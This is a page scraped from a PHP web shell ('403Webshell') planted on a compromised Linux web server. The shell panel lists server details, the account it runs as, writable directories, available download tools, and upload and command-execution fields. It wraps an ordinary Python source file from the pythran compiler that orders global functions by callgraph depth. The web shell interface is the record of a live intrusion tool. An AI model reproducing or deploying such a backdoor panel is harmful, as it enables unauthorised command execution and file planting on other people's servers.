403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pythran/analyses/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/analyses/ordered_global_declarations.py
""" OrderedGlobalDeclarations orders all global functions. """

from pythran.analyses.aliases import StrictAliases
from pythran.analyses.global_declarations import GlobalDeclarations
from pythran.passmanager import ModuleAnalysis

import gast as ast


class OrderedGlobalDeclarations(ModuleAnalysis):
    '''Order all global functions according to their callgraph depth'''
    def __init__(self):
        self.result = dict()
        super(OrderedGlobalDeclarations, self).__init__(
            StrictAliases, GlobalDeclarations)

    def visit_FunctionDef(self, node):
        self.curr = node
        self.result[node] = set()
        self.generic_visit(node)

    def visit_Name(self, node):
        if node in self.strict_aliases:
            for alias in self.strict_aliases[node]:
                if isinstance(alias, ast.FunctionDef):
                    self.result[self.curr].add(alias)
                elif isinstance(alias, ast.Call):  # this is a bind
                    for alias in self.strict_aliases[alias.args[0]]:
                        if alias in self.global_declarations:
                            self.result[self.curr].add(alias)

    def run(self, node):
        # compute the weight of each function
        # the weight of a function is the number functions it references
        result = super(OrderedGlobalDeclarations, self).run(node)
        old_count = -1
        new_count = 0
        # iteratively propagate weights
        while new_count != old_count:
            for v in result.values():
                v.update(*[result[f] for f in v])
            old_count = new_count
            new_count = sum(len(value) for value in result.values())
        # return functions, the one with the greatest weight first
        self.result = sorted(self.result.keys(), reverse=True,
                             key=lambda s: len(self.result[s]))
        return self.result

Youez - 2016 - github.com/yon3zu
LinuXploit